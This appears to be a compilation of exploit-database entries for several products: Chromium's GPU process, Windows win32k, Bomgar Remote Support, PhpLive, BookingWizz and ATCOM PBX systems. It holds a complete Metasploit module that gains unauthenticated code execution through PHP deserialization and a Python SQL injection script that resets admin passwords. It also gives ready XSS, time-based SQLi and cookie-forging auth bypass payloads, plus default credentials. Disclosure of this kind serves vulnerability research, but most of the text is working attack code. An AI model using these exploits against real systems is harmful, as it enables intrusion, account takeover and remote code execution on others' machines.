https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39959.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=780
Several functions in the GPU command buffer service interact with the GPU
mailbox manager (gpu/command_buffer/service/mailbox_manager_impl.cc), passing a reference to shared memory as the mailbox argument.
MailboxManagerImpl does not expect this mailbox argument to be malleable in this way, and it is in several places copied and passed to various stl functions, resulting in unexpected behaviour from double-reads when an attacker modifies the mailbox name mid function.
The attached POC uses the GPU command 'ProduceTextureDirectCHROMIUMImmediate' to trigger a use-after-free but other commands that interact with the mailbox manager should also be vulnerable in a similar way.
error::Error GLES2DecoderImpl::HandleProduceTextureDirectCHROMIUMImmediate(
uint32_t immediate_data_size,
const void* cmd_data) {
const gles2::cmds::ProduceTextureDirectCHROMIUMImmediate& c =
*static_cast<const gles2::cmds::ProduceTextureDirectCHROMIUMImmediate*>(
cmd_data);
(void)c;
GLuint texture = c.texture;
GLenum target = static_cast<GLenum>(c.target);
uint32_t data_size;
if (!ComputeDataSize(1, sizeof(GLbyte), 64, &data_size)) {
return error::kOutOfBounds;
}
if (data_size > immediate_data_size) {
return error::kOutOfBounds;
}
// ** mailbox is a pointer into our shared memory buffer **
const GLbyte* mailbox =
GetImmediateDataAs<const GLbyte*>(c, data_size, immediate_data_size);
if (!validators_->texture_bind_target.IsValid(target)) {
LOCAL_SET_GL_ERROR_INVALID_ENUM("glProduceTextureDirectCHROMIUM", target,
"target");
return error::kNoError;
}
if (mailbox == NULL) {
return error::kOutOfBounds;
}
DoProduceTextureDirectCHROMIUM(texture, target, mailbox);
return error::kNoError;
}
void GLES2DecoderImpl::DoProduceTextureDirectCHROMIUM(GLuint client_id,
GLenum target, const GLbyte* data) {
TRACE_EVENT2("gpu", "GLES2DecoderImpl::DoProduceTextureDirectCHROMIUM",
"context", logger_.GetLogPrefix(),
"mailbox[0]", static_cast<unsigned char>(data[0]));
ProduceTextureRef("glProduceTextureDirectCHROMIUM", GetTexture(client_id),
target, data);
}
void GLES2DecoderImpl::ProduceTextureRef(const char* func_name,
TextureRef* texture_ref,
GLenum target,
const GLbyte* data) {
// ** mailbox is still a pointer to shared memory **
const Mailbox& mailbox = *reinterpret_cast<const Mailbox*>(data);
DLOG_IF(ERROR, !mailbox.Verify()) << func_name << " was passed a "
"mailbox that was not generated by "
"GenMailboxCHROMIUM.";
if (!texture_ref) {
LOCAL_SET_GL_ERROR(
GL_INVALID_OPERATION, func_name, "unknown texture for target");
return;
}
Texture* produced = texture_manager()->Produce(texture_ref);
if (!produced) {
LOCAL_SET_GL_ERROR(
GL_INVALID_OPERATION, func_name, "invalid texture");
return;
}
if (produced->target() != target) {
LOCAL_SET_GL_ERROR(
GL_INVALID_OPERATION, func_name, "invalid target");
return;
}
group_->mailbox_manager()->ProduceTexture(mailbox, produced);
}
void MailboxManagerImpl::ProduceTexture(const Mailbox& mailbox,
Texture* texture) {
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
if (it != mailbox_to_textures_.end()) {
if (it->second->first == texture)
return;
TextureToMailboxMap::iterator texture_it = it->second;
mailbox_to_textures_.erase(it);
textures_to_mailboxes_.erase(texture_it);
}
InsertTexture(mailbox, texture);
}
void MailboxManagerImpl::InsertTexture(const Mailbox& mailbox,
Texture* texture) {
texture->SetMailboxManager(this);
TextureToMailboxMap::iterator texture_it =
textures_to_mailboxes_.insert(std::make_pair(texture, mailbox));
// ** modify mailbox at this point **
mailbox_to_textures_.insert(std::make_pair(mailbox, texture_it));
DCHECK_EQ(mailbox_to_textures_.size(), textures_to_mailboxes_.size());
}
We can leverage this for memory corruption in the GPU process by a slightly roundabout route; since each entry in the mailbox_to_textures_ has an iterator to an entry in textures_to_mailboxes_, and it is an expected invariant that both of these entries have the same mailbox name. By starting to create a mailbox named aaaa...aaaa and waiting until the first insert is complete before changing the mailbox name to AAAA...aaaa, then adding a second entry with the same texture reference but with the actual name aaaa...aaaa we get the following situation (example trace through the code from ProduceTexture with InsertTexture call inlined):
// first entry - mailbox.name = 'aaaa...aaaa', texture = t1
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
// if body not executed
if (it != mailbox_to_textures_.end()) {}
texture->SetMailboxManager(this);
TextureToMailboxMap::iterator texture_it =
textures_to_mailboxes_.insert(std::make_pair(texture, mailbox));
// modify - mailbox.name = 'AAAA...aaaa'
mailbox_to_textures_.insert(std::make_pair(mailbox, texture_it));
DCHECK_EQ(mailbox_to_textures_.size(), textures_to_mailboxes_.size());
// mailbox_to_textures_ textures_to_mailboxes_
// AAAA...aaaa, it ------------------------------> aaaa...aaaa, t1
// second entry - mailbox.name = 'aaaa...aaaa', texture = t1
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
// if body not executed (since 'AAAA...aaaa' != 'aaaa...aaaa')
if (it != mailbox_to_textures_.end()) {}
texture->SetMailboxManager(this);
TextureToMailboxMap::iterator texture_it =
textures_to_mailboxes_.insert(std::make_pair(texture, mailbox));
// texture_it is the same as before; since there already exists the pair
// 'aaaa...aaaa', t1* in textures_to_mailboxes, the insert returns an
// iterator to the existing element.
mailbox_to_textures_.insert(std::make_pair(mailbox, texture_it));
DCHECK_EQ(mailbox_to_textures_.size(), textures_to_mailboxes_.size());
// mailbox_to_textures_ textures_to_mailboxes_
// AAAA...aaaa, it ------------------------------> aaaa...aaaa, t1
// aaaa...aaaa, it -----------/
// so both entries in mailbox_to_textures_ have the same iterator.
// third entry - mailbox.name = 'aaaa...aaaa', texture = t2
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
// this time we find an entry
if (it != mailbox_to_textures_.end()) {
// t1 != t2
if (it->second->first == texture)
return;
// so we remove the previous entry for aaaa...aaaa
TextureToMailboxMap::iterator texture_it = it->second;
mailbox_to_textures_.erase(it);
textures_to_mailboxes_.erase(texture_it);
}
// mailbox_to_textures_ textures_to_mailboxes_
// AAAA...aaaa, it ------------------------------> ??
// aaaa...aaaa, it ------------------------------> aaaa...aaaa, t2
Leaving mailbox AAAA...aaaa with a dangling reference to a no-longer valid iterator into textures_to_mailboxes_; (std::map and std::multimap iterators are invalidated by a call to erase() the element that they reference). The attached poc then calls some further methods on the mailbox to trigger a use of the dangling iterator that is detectable by ASAN.
Updated POC to work on the latest asan linux build, command buffer ids were out of date.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39961.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=747
The attached PoC crashes 32-bit Windows 7 with special pool enabled on win32k.sys. It might take several runs in order to reproduce. Tested the PoC on a single core VM.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39960.zip
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize
super(
'Name' => 'Bomgar Remote Support Unauthenticated Code Execution',
'Description' => %q{
This module exploits a vulnerability in the Bomgar Remote Support, which
deserializes user provided data using PHP's `unserialize` method.
By providing an specially crafted PHP serialized object, it is possible
to write arbitrary data to arbitrary files. This effectively allows the
execution of arbitrary PHP code in the context of the Bomgar Remote Support
system user.
To exploit the vulnerability, a valid Logging Session ID (LSID) is required.
It consists of four key-value pairs (i. e., 'h=[...];l=[...];m=[...];t=[...]')
and can be retrieved by an unauthenticated user at the end of the process
of submitting a new issue via the 'Issue Submission' form.
Versions before 15.1.1 are reported to be vulnerable.
},
'Author' =>
[
'Markus Wulftange',
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'May 5 2015',
'References' =>
[
['CWE', '94'],
['CWE', '502'],
['CVE', '2015-0935'],
['US-CERT-VU', '978652'],
['URL', 'http://codewhitesec.blogspot.com/2015/05/cve-2015-0935-bomgar-remote-support-portal.html'],
],
'Privileged' => false,
'Targets' =>
[
[ 'Linux x86',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'CmdStagerFlavor' => [ :echo, :printf ]
}
],
[ 'Linux x86_64',
{
'Platform' => 'linux',
'Arch' => ARCH_X86_64,
'CmdStagerFlavor' => [ :echo, :printf ]
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true,
'TARGETURI' => '/session_complete',
},
)
register_options(
[
OptString.new('LSID', [true, 'Logging Session ID']),
], self.class
)
end
def check
version = detect_version
if version
print_status("Version #{version} detected")
if version < '15.1.1'
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
print_status("Version could not be detected")
return Exploit::CheckCode::Unknown
end
def exploit
execute_cmdstager
handler
end
def execute_command(cmd, opts)
tmpfile = "/tmp/#{rand_text_alphanumeric(10)}.php"
vprint_status("Uploading payload to #{tmpfile} ...")
upload_php_file(tmpfile, generate_stager_php(cmd))
vprint_status("Triggering payload in #{tmpfile} ...")
execute_php_file(tmpfile)
end
def detect_version
res = send_request_raw(
'uri' => '/'
)
if res and res.code == 200 and res.body.to_s =~ /<!--Product Version: (\d+\.\d+\.\d+)-->/
return $1
end
end
def upload_php_file(filepath, data)
send_pso(generate_upload_file_pso(filepath, data))
end
def execute_php_file(filepath)
send_pso(generate_autoload_pso(filepath))
end
def send_pso(pso)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'lsid' => datastore['LSID'],
'survey' => pso,
}
)
if res
if res.code != 200
fail_with(Failure::UnexpectedReply, "Unexpected response from server: status code #{res.code}")
end
if res.body.to_s =~ />ERROR: ([^<>]+)</
fail_with(Failure::Unknown, "Error occured: #{$1}")
end
else
fail_with(Failure::Unreachable, "Error connecting to the remote server") unless successful
end
res
end
def generate_stager_php(cmd)
"<?php unlink(__FILE__); passthru('#{cmd.gsub(/[\\']/, '\\\\\&')}');"
end
def generate_upload_file_pso(filepath, data)
log_file = PHPObject.new(
"Log_file",
{
"_filename" => filepath,
"_lineFormat" => "",
"_eol" => data,
"_append" => false,
}
)
logger = PHPObject.new(
"Logger",
{
"\0Logger\0_logs" => [ log_file ]
}
)
tracer = PHPObject.new(
"Tracer",
{
"\0Tracer\0_log" => logger
}
)
serialize(tracer)
end
def generate_autoload_pso(filepath)
object = PHPObject.new(
filepath.chomp('.php').gsub('/', '_'),
{}
)
serialize(object)
end
class PHPObject
attr_reader :name, :members
def initialize(name, members)
@name = name
@members = members
end
end
def serialize(value)
case value.class.name.split('::').last
when 'Array' then serialize_array_numeric(value)
when 'Fixnum' then serialize_integer(value)
when 'Float' then serialize_double(value)
when 'Hash' then serialize_array_assoc(value)
when 'Nil' then serialize_nil
when 'PHPObject' then serialize_object(value)
when 'String' then serialize_string(value)
when 'TrueClass', 'FalseClass' then serialize_boolean(value)
else raise "Value of #{value.class} cannot be serialized"
end
end
def serialize_array_numeric(a)
"a:#{a.size}:{" + a.each_with_index.map { |v, i|
serialize_integer(i) + serialize(v)
}.join + "}"
end
def serialize_array_assoc(h)
"a:#{h.size}:{" + h.each_pair.map { |k, v|
serialize_string(k) + serialize(v)
}.join + "}"
end
def serialize_boolean(b)
"b:#{b ? '1' : '0'};"
end
def serialize_double(f)
"d:#{f};"
end
def serialize_integer(i)
"i:#{i};"
end
def serialize_null
"N;"
end
def serialize_object(o)
"O:#{serialize_string(o.name)[2..-2]}:#{serialize_array_assoc(o.members)[2..-1]}"
end
def serialize_string(s)
"s:#{s.size}:\"#{s}\";"
end
end
#!/bin/env python
################################################################################################
# Exploit title: Password Recovery Sql Injection
# Exploit Author: Tiago Carvalho
# Vendor Homepage: http://www.phplivesupport.com/?plk=osicodes-5-ykq-m
# Version : 4.4.8 - 4.5.4
# Product Name: Phplive
# Tested on: Debian \ Kali linux 2016-1
################################################################################################
"""
Their are multiple sql injection vunlerabilities in this product.
The exploit uses the sql injection vulnerability on the last step of the password recovery process
and force the application to rest the password and show the username, without requiring authentication
or to ever execute the first step, the vulnerability allows the recovery of both admin and operator.
Vulnerable code location: API/Setup/get.php
The filtering in place allows alphanumeric and restricts the use of serveral special chars,
its use of mysql escape functions and stripslashes are bypassed by since theirs no need to inject
special char to create a valid statement.
FUNCTION Setup_get_InfoByID( &$dbh,
$adminid )
{
if ( $adminid == "" )
return false ;
LIST( $adminid ) = database_mysql_quote( $dbh, $adminid ) ;
$query = "SELECT * FROM p_admins WHERE adminID = $adminid LIMIT 1" ;
database_mysql_query( $dbh, $query ) ;
if ( $dbh[ 'ok' ] )
{
$data = database_mysql_fetchrow( $dbh ) ;
return $data ;
}
return false ;
}
Vulnerable code location: /API/Ops/get.php
FUNCTION Ops_get_OpInfoByID( &$dbh,
$opid )
{
if ( $opid == "" )
return false ;
LIST( $opid ) = database_mysql_quote( $dbh, $opid ) ;
$query = "SELECT * FROM p_operators WHERE opID = $opid LIMIT 1" ;
database_mysql_query( $dbh, $query ) ;
if ( $dbh[ 'ok' ] )
{
$data = database_mysql_fetchrow( $dbh ) ;
return $data ;
}
return false ;
}
"""
import re
import urllib2
import md5
import string
import argparse
match = re.compile(r"<div\sclass=\"edit_title\".*?>(.*)</div>", re.MULTILINE)
server_url = "localhost/phplive"
def build_payload(host, sql, search_exp, target, last_active, passwd):
req_url = "http://%s/index.php%s"
url_params = "?v=%s&%s=0+%s"
str = sql % (last_active, passwd, search_exp)
pwd_verify = md5.new("%d%d" % (last_active,passwd)).hexdigest()
url_params = url_params % (pwd_verify,target,str)
return req_url % (host, url_params)
def exploit(host, admin, last_active, passwd):
if admin:
target="adminid"
sql = "union+all+select+adminid,created,%d,status,ses,login,%d,email+from+p_admins+where+login+like+%s25"
else:
target="opid"
sql = "union+all+select+opid,%d,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,login,%d,0,0,0,0,0,0+from+p_operators+where+login+like+%s25"
char_list = list(string.ascii_letters)
for char in char_list:
payload = build_payload(host, sql, hex(ord(char)), target=target, last_active=last_active, passwd=passwd)
request = urllib2.urlopen(payload)
if request.code == 200:
html = request.read()
result = match.findall(html)
if len(result) == 2 and result[1]:
print "[*]\tSUCCESS!!!!!"
print "[*]\t%s %s" % (re.sub("<span.*?>|</span>","",result[0]), result[1])
break
# exploit(server_url, admin=False, last_active=1, passwd=1)
if __name__ == '__main__':
admin = True
parser = argparse.ArgumentParser(description='PhpLive 4.4.8 Password Recovery Sql injection Exploit')
parser.add_argument("-u", "--url", help="url host|ipaddress/path eg: localhost/phplive")
parser.add_argument("-o", "--operator", help="Execute operators password reset", action="store_true")
parser.add_argument("-l", "--lastactive", help="Last active date (int)", type=int, default=0)
parser.add_argument("-p", "--passwd", help="Password (int)", type=int, default=0)
args = parser.parse_args()
if args.operator:
print "[*]\toperator password reset"
admin = False
exploit(args.url, admin, args.lastactive, args.passwd)
1. ADVISORY INFORMATION
========================================
Title: BookingWizz < 5.5 Multiple Vulnerability
Application: BookingWizz
Class: Sensitive Information disclosure
Remotely Exploitable: Yes
Versions Affected: < 5.5
Vendor URL: http://codecanyon.net/item/booking-system/87919
Bugs: Default credentials, CSRF, XXS, SQLi Injection, LFI
Date of Public Advisory: 15 Jun 2016
Author: Mehmet Ince
2. CREDIT
========================================
Those vulnerabilities was identified during external penetration test
by Mehmet INCE from PRODAFT / INVICTUS
Original Advisory:
https://www.mehmetince.net/exploit/bookingwizz-55-multiple-vulnerability
PR1 - Default Administrator Credentials
========================================
File: install.php
People are to lazy to change default credential unless application force
them to do that.
Line 128: <br />Default username/password: <b>admin/pass</b></div>";
PR2 - Cross Site Scripting
========================================
File : eventList.php
// Improper user input validation on
Line 24: $serviceID =
(!empty($_REQUEST["serviceID"]))?strip_tags(str_replace("'","`",$_REQUEST["serviceID"])):getDefaultService();
Line 60: <?php echo SAMPLE_TEXT?> <strong><?php echo VIEW?> <a
href="index.php?serviceID=<?php echo $serviceID?>"><?php echo
CALENDAR?></a></strong>
Payload = 1337" onmouseover="alert(1)
PoC =
http://www.convergine.com/scripts/booking/eventList.php?serviceID=1337%22%20onmouseover=%22alert(1)
PR3 - Local File Inclusion
========================================
File:config.php
Lang variable is under the user control.
Line 31: $lang = (!empty($_REQUEST["lang"])) ? strip_tags(str_replace("'",
"`", $_REQUEST["lang"])) : 'english';
Storing user controlled variable within session variable.
Line 36 - 38 :
if (!empty($_REQUEST["action"]) && $_REQUEST["action"] == "changelang") {
$_SESSION['curr_lang'] = $lang;
}
And using it with include function which cause straightforward file
inclusion.
Line 60 - 68:
$languagePath = MAIN_PATH."/languages/".$_SESSION['curr_lang'].".lang.php";
if(is_file($languagePath)) {
include MAIN_PATH."/languages/".$_SESSION['curr_lang'].".lang.php";
}else{
print "ERROR !!! Language file ".$_SESSION['curr_lang'].".lang.php not
found";
exit();
}
PR4 - SQL Injection
========================================
We've seen a lot of potentially SQL Injection vulnerability during code
review.
2 example can be given for this potential points.
File : ajax/checkDeletedServices.php
line 19 - 20:
$bsid = (!empty($_REQUEST["bsid"])) ? $_REQUEST["bsid"] : array();
$type = (!empty($_REQUEST["type"])) ? $_REQUEST["type"] : 'service';
Line 26:
if($type=='service'){
$service = getService($id);
$name = $service['name'];
}
This function executes query with $id parameter which is user input through
checkDeletedServices.php file.
function getService($id, $field=null) {
$sql = "SELECT * FROM bs_services WHERE id='{$id}'";
$res = mysql_query($sql);
if ($field == null) {
return mysql_fetch_assoc($res);
} else {
$row = mysql_fetch_assoc($res);
return $row[$field];
}
}
File : ajax/checkChangeAvailability.php
Line 19 -21
$id = (!empty($_REQUEST["id"])) ? $_REQUEST["id"] : '';
$interval = getServiceSettings($id,'interval');
getServiceSettings function calls another function named as getService
which is also vulnerable against SQL Injection.
function getServiceSettings($id, $field=null) {
$serviceType = getService($id,'type');
if($serviceType=='t'){
$sql = "SELECT * FROM bs_service_settings bss
INNER JOIN bs_services bs ON bss.serviceId = bs.id
WHERE bss.serviceID='{$id}'";
}else{
$sql = "SELECT * FROM bs_service_days_settings bsds
INNER JOIN bs_services bs ON bsds.idService = bs.id
WHERE bsds.idService='{$id}'";
}
$res = mysql_query($sql);
$row = mysql_fetch_assoc($res);
$row['type'] = $serviceType;
if ($field == null) {
return $row;
} else {
return $row[$field];
}
}
In order to exploit this flaws, Time Based SQLi techniques was used.
Payload: id=1' AND SLEEP(5) AND 'WAlE'='WAlE
PR5 - CSRF
========================================
File: bs-settings.php
This file is reponsible for administrator account settings. Here is the
HTTP POST request.
POST /booking/bs-settings.php HTTP/1.1
Host: www.test.dev
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101
Firefox/36.04
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.test.dev/scripts/booking/bs-settings.php
Cookie: PHPSESSID=1511036c75229f53ae475a0615661394;
__utma=256227097.1395600583.1465982938.1465982938.1465982938.1;
__utmc=256227097;
__utmz=256227097.1465982938.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
wordfence_verifiedHuman=498f28acf0e6151e19053a23c0fbc76b
Connection: close
Content-Type: multipart/form-data;
boundary=---------------------------305761854111129072091034307
Content-Length: 2678
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="new_pass"
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="new_pass2"
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="email"
test@yopmail.com
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="pemail"
test@yopmail.com
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="pcurrency"
CAD
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="tax"
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="time_mode"
0
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="date_mode"
Y-m-d
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="use_popup"
1
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="currency"
$
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="currencyPos"
b
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="lang"
english
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="language_switch"
1
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="timezone"
America/Toronto
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="multi_day_notification"
0
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="multi_day_notification_on"
n
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="single_day_notification"
0
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="single_day_notification_on"
n
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="event_notification"
0
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="event_notification_on"
n
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="cron_type"
cron
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="edit_settings"
yes
-----------------------------305761854111129072091034307--
There is NOT csrf token at all. Furthermore, application does not validated
current password.
--
Sr. Information Security Engineer
https://www.mehmetince.net
# Title: ATCOM PBX system , auth bypass exploit
# Author: i-Hmx
# contact : n0p1337@gmail.com
# Home : sec4ever.com
# Tested on : ATCOM IP01 , IP08 , IP4G and ip2G4A
Details
The mentioned system is affected by auth bypass flaw that allow an attacker to get admin access on the vulnerable machine without perior access
The security check is really stupid , depend on js
affected lines
js/util.js
function alertWithoutLogin(){
var username = getCookie("username");
//alert(username);
if(!!!username){
alert('Sorry, permission denied. Please login first!');
}
}
so actually it just check if username value exist in cookies
and if not , redirect to login.html
just like that!!!!!!!!!!!!!
exploitation?!
just from browser , press f12 , open console
type document.cookie="username=admin"
or from burp intercept proxy and set the cookies as well
go to ip/admin/index.html
and you are in , simple like that :/
Demo request
GET /admin/index.html HTTP/1.1
Host: 192.168.44.12
User-Agent: Mozilla/1.0 (Windows NT 3.3; WOW32; rv:60.0) Gecko/20010101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: username=admin
Connection: close
Upgrade-Insecure-Requests: 1
From Eg-R1z with love
./Faris